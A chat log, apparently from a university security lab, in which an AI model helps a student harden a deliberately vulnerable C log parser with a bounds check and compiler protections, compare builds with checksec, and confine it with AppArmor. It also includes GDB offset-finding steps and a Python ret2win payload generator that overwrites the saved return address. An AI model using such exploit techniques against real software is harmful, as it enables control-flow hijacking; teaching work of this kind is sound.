Prompt:
write a c file that rejects oversized input before it is ever copied into the buffer and rebuild it with a set of compiler and linker protections (stack canary, FORTIFY, PIE/ASLR, and Full RELRO) that make exploitation harder even when a bug slips through. You then test both behaviors, compare the two binaries with checksec, and explain which single change removes the vulnerability and which options only raise the bar for an attacker.

Response:

1. `legacy_log_parser_fixed.c`

c

```C/C++
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#define BUF_SIZE 128
#define MAX_READ 512

/* Same win() as the vulnerable version, so the fixed binary can
be
   verified to behave identically when NOT exploited. */
__attribute__((noinline)) void win(void) {
    mkdir("markers", 0755);
    FILE *m = fopen("markers/ret2win.txt", "w");
    if (m) {
        fputs("ret2win reached: saved return address was
overwritten.\n", m);
        fclose(m);
        puts("[win] marker file written.");
    }
    FILE *d = fopen("/opt/agentsec/decoy.txt", "r");
    if (d) {
        puts("[win] read /opt/agentsec/decoy.txt -- read
SUCCEEDED");
```

```
        fclose(d);
    } else {
        puts("[win] could not read /opt/agentsec/decoy.txt --
read FAILED");
    }
}

static int safe_copy(const unsigned char *input, size_t n) {
    char buf[BUF_SIZE];

    /* THE FIX: reject oversized input BEFORE it touches the
stack buffer */
    if (n > BUF_SIZE) {
        fprintf(stderr, "[parse] REJECTED: input is %zu bytes,
max allowed is %d\n",
                n, BUF_SIZE);
        return -1;
    }
    memcpy(buf, input, n);
    printf("[parse] copied %zu byte(s); log begins: %.*s\n",
           n, (int)(n < 64 ? n : 64), buf);
    return 0;
}

static int parse_log(const char *path) {
    FILE *f = fopen(path, "rb");
    if (!f) {
        perror("[parse] cannot open file");
        return 2;
    }
    unsigned char *input = malloc(MAX_READ);
    if (!input) { fclose(f); return 3; }
    size_t n = fread(input, 1, MAX_READ, f);
    fclose(f);                          /* close before the copy,
same as Task 1 */
```

```
    int rc = safe_copy(input, n) == 0 ? 0 : 1;
    free(input);
    return rc;
}

int main(int argc, char **argv) {
    if (argc != 2) {
        fprintf(stderr, "usage: %s <logfile>\n", argv[0]);
        return 64;
    }
    return parse_log(argv[1]);
}
```

Prompt:
checksec --file=./legacy_log_parser

Response:

Run both checksec commands so you have the side-by-side output for the report:

bash

```
Shell
checksec --file=./legacy_log_parser
checksec --file=./legacy_log_parser_fixed
```

If the first one says the file doesn't exist, you're missing the vulnerable binary in `csce465-lab3/`. Rebuild it with your Task 1 command:

bash

```
Shell
gcc -O0 -g -fno-stack-protector -no-pie -Wl,-z,noexecstack \
    -Wall -Wextra -o legacy_log_parser legacy_log_parser.c
```

Based on your Task 1 screenshot, the vulnerable binary should show:

Property	Vulnerable (`legacy_log_parser`)
RELRO	Partial RELRO
Stack canary	No canary found
NX	NX enabled
PIE	No PIE
FORTIFY	No (Fortified 0, Fortifiable 5)

The fixed binary should show something like:

Property	Fixed (`legacy_log_parser_fixed`)
RELRO	Full RELRO
Stack canary	Canary found
NX	NX enabled
PIE	PIE enabled
FORTIFY	Yes (the fortified count will depend on which calls the compiler could check)

Take a screenshot of both outputs in the terminal and build your report table from what you actually see, not from my table. Checksec's output format varies a little between versions.

One thing to expect: FORTIFY may show "No" on the fixed binary even though you compiled with `-D_FORTIFY_SOURCE=3`. That happens when the compiler can prove every `memcpy` is safe or doesn't need a checked variant. Since the fixed `memcpy` is guarded by the `n > BUF_SIZE` check, it may be optimized with no `__memcpy_chk` call, and checksec only reports FORTIFY when it finds `_chk` functions in the binary. If you see that, mention it in your explanation: the flag was enabled, but the bounds check already made the call safe. You can confirm with `nm legacy_log_parser_fixed | grep _chk`.

Paste the output here if anything looks off, and then run the test script (3.4) next.

Prompt:
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$ ./tests/run_tests.sh
PASS: valid short input (exit 0)
    output: [parse] copied 10 byte(s); log begins: hello log
PASS: exactly max (128 bytes) (exit 0)
    output: [parse] copied 128 byte(s); log begins:
AAAA

```shell
ls -l payload.bin
./legacy_log_parser_fixed payload.bin; echo "exit=$?"
```

If that direct run also says “No such file,” the file may actually be named differently (check for typos like `Payload.bin` or a different extension).

If it’s under `inbox/` (e.g. `inbox/payload.bin`, matching your Task 2 skill setup), edit the test script:

bash

```shell
nano tests/run_tests.sh
```

Find this line:

bash

```shell
check "original exploit payload"     1 payload.bin
```

and the `rm -f markers/ret2win.txt` / marker-check block right after it — update the payload path there to match, e.g.:

bash

```shell
check "original exploit payload"     1 inbox/payload.bin
```

Then rerun:

bash

```shell
./tests/run_tests.sh | tee tests_results.txt
```

Once all six pass (5 checks + the “marker NOT created” check), you’re done with the testing part of Task 3. Paste the output and I’ll confirm it’s good, then we move to Task 4 (the `agentlab` user and AppArmor profile).

Prompt:
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$ find ~/csce465-agentsec -iname "payload.bin" 2>/dev/null
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$

Response:

No `payload.bin` exists anywhere under `csce465-agentsec`. You likely never copied it into this `csce465-lab3` subfolder, or it was named something else, or it got deleted. Let's find out which:

bash

```
Shell
find ~/csce465-agentsec -iname "*.bin" 2>/dev/null
find / -iname "payload.bin" 2>/dev/null
```

Depending on what that turns up:

If you find it somewhere else (e.g. still in the old `~/csce465-agentsec/hw3` from Task 1, outside `csce465-lab3`), just copy it over:

bash

```
Shell
cp /path/you/found/payload.bin
~/csce465-agentsec/hw3/csce465-lab3/
```

If it's truly gone, regenerate it. From your Task 1 screenshots the offset was 152 and `win()` was at `0x4012b6`, but those numbers are specific to the original `legacy_log_parser` binary's layout — if you rebuilt that binary since Task 1 (you did, a few messages back, to run checksec), the offset and address could have shifted. Safest is to redo the GDB offset-finding and `nm` lookup against your *current* `legacy_log_parser` binary rather than trusting the old numbers:

bash

```
Shell
nm ./legacy_log_parser | grep win
```

That gives you the current `win()` address. For the offset, you can reuse 152 if the source and compiler flags are unchanged — but to be safe, confirm it still crashes at the same place:

bash

```
Shell
python3 -c "
open('pattern.bin','wb').write(b'A'*20 + b'B'*20 + b'C'*20 +
b'D'*20 + b'E'*20 + b'F'*20 + b'G'*20 + b'H'*20 + b'I'*20 +
b'J'*20)
"
gdb -q ./legacy_log_parser
```

In gdb:

```
None
run pattern.bin
```

It should crash the same way it did in your Task 1 screenshot. Note the exact offset from the crash, then regenerate the payload:

bash

```
Shell
python3 -c "
import struct
offset = 152
win = 0x4012b6   # replace with whatever nm just printed
open('payload.bin','wb').write(b'A'*offset + struct.pack('<Q',
win))
"
```

Then confirm against the vulnerable binary (should still ret2win):

bash

```
Shell
./legacy_log_parser payload.bin
```

Run the two `find` commands first and tell me what they return — that'll tell us which path to take before you spend time regenerating anything.

Prompt:
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3/policy$ cd ..
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$ sudo cp policy/apparmor.profile /etc/apparmor.d/srv.agentlab.hw3.bin.legacy_log_parser
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$ sudo apparmor_parser -r /etc/apparmor.d/srv.agentlab.hw3.bin.legacy_log_parser
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$ sudo aa-status | grep -A2 legacy_log_parser
  /srv/agentlab/hw3/bin/legacy_log_parser
  /usr/bin/evince
  /usr/bin/evince-previewer
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$ sudo aa-complain /srv/agentlab/hw3/bin/legacy_log_parser
sudo rm -f /srv/agentlab/hw3/markers/*
sudo -u agentlab sh -c 'cd /srv/agentlab/hw3 && ./bin/legacy_log_parser inbox/payload.bin'
sudo journalctl -k --since "5 min ago" | grep -i apparmor
sudo: aa-complain: command not found
[parse] copied 160 byte(s); log begins: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[win] control flow reached win() -- ret2win successful!
[win] marker file written.
[win] could not read /opt/agentsec/decoy.txt -- read FAILED (expected without privilege).
Segmentation fault (core dumped)
Oct 31 15:41:14 ubuntu2404 kernel: audit: type=1400 audit(1793475674.716:169): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/srv/agentlab/hw3/bin/legacy_log_parser" pid=4572 comm="apparmor_parser"
ubuntu@ubuntu2404:~/csce465-agentsec/hw3/csce465-lab3$

Response:

Two issues to sort out:

1. `aa-complain: command not found` — this usually means `apparmor-utils` isn't actually installed, or `sudo` can't find it in its PATH. Check:

bash

```
Shell
which aa-complain aa-enforce aa-status
dpkg -l | grep apparmor-utils
```

If `apparmor-utils` isn't installed:

bash

```
Shell
sudo apt update
sudo apt install -y apparmor-utils
```

If it is installed but `sudo` still can't find it, use the full path instead (common on Ubuntu):

bash

```
Shell
sudo /usr/sbin/aa-complain
/srv/agentlab/hw3/bin/legacy_log_parser
```

2. Your run bypassed the profile entirely. The `journalctl` line you captured (`apparmor="STATUS" operation="profile_load" ... profile="unconfined"`) is just logging that the profile *finished loading*, not a denial — note it says `profile="unconfined"` because that's describing the state the parser was in *before* this load. The real tell that the profile wasn't actually enforced is that your run **succeeded in reaching win() and wrote the marker** with no denial lines in the log at all. If the profile had been active, you should have seen `apparmor="DENIED"` entries from AppArmor refusing something, or at minimum the run behaving differently.

So: fix the `aa-complain` issue, confirm it actually switched the profile from complain mode to active, then re-run. Check the current state directly:

bash

```shell
sudo aa-status
```

Look specifically at which section lists `/srv/agentlab/hw3/bin/legacy_log_parser` — under “profiles that are in enforce mode,” “complain mode,” or not listed as confined at all. Paste that full output (not just the grep) so I can see exactly what state it’s in.

Prompt:
Help me generate a python file that Determine the Offset. Use GDB to determine the exact offset to the saved return address, identify the address of win(), and generate a payload file with Python. Demonstrate that direct execution reaches win() and creates the marker. Called make_payload.py

Response:

Here’s the full script — paste this into nano, save, exit:

python

```python
#!/usr/bin/env python3
"""
make_payload.py -- generates a ret2win payload for
legacy_log_parser.

Overwrites the saved return address on the stack with the
address of
win(), preceded by `offset` bytes of padding to reach it.

Usage:
    python3 make_payload.py [-o OFFSET] [-w WIN_ADDR] [-f
OUTFILE]

Defaults match this assignment's build (legacy_log_parser
compiled with
-O0 -g -fno-stack-protector -no-pie): offset=152, win=0x4012b6.
```

```
Re-derive these with GDB (offset) and `nm ./legacy_log_parser |
grep win`
(address) if you rebuild the binary and the layout changes.
"""

import argparse
import struct


def build_payload(offset: int, win_addr: int) -> bytes:
    padding = b"A" * offset
    ret_addr = struct.pack("<Q", win_addr)  # little-endian
8-byte address
    return padding + ret_addr


def main():
    parser = argparse.ArgumentParser(description="Generate a
ret2win payload.")
    parser.add_argument("-o", "--offset", type=int, default=152,
                        help="bytes of padding before the saved
return address (default: 152)")
    parser.add_argument("-w", "--win-addr", type=lambda x:
int(x, 16), default=0x4012b6,
                        help="address of win(), as hex, e.g.
0x4012b6 (default: 0x4012b6)")
    parser.add_argument("-f", "--outfile",
default="payload.bin",
                        help="output file path (default:
payload.bin)")
    args = parser.parse_args()

    payload = build_payload(args.offset, args.win_addr)

    with open(args.outfile, "wb") as f:
```

```
        f.write(payload)

    print(f"[+] Wrote {len(payload)} bytes to {args.outfile}")
    print(f"    offset={args.offset},
win_addr=0x{args.win_addr:x}")


if __name__ == "__main__":
    main()
```

Save (Ctrl+O, Enter) and exit (Ctrl+X), then:

bash

```Shell
chmod +x make_payload.py
python3 make_payload.py -f payload_test.bin
diff payload.bin payload_test.bin && echo MATCH
rm payload_test.bin
```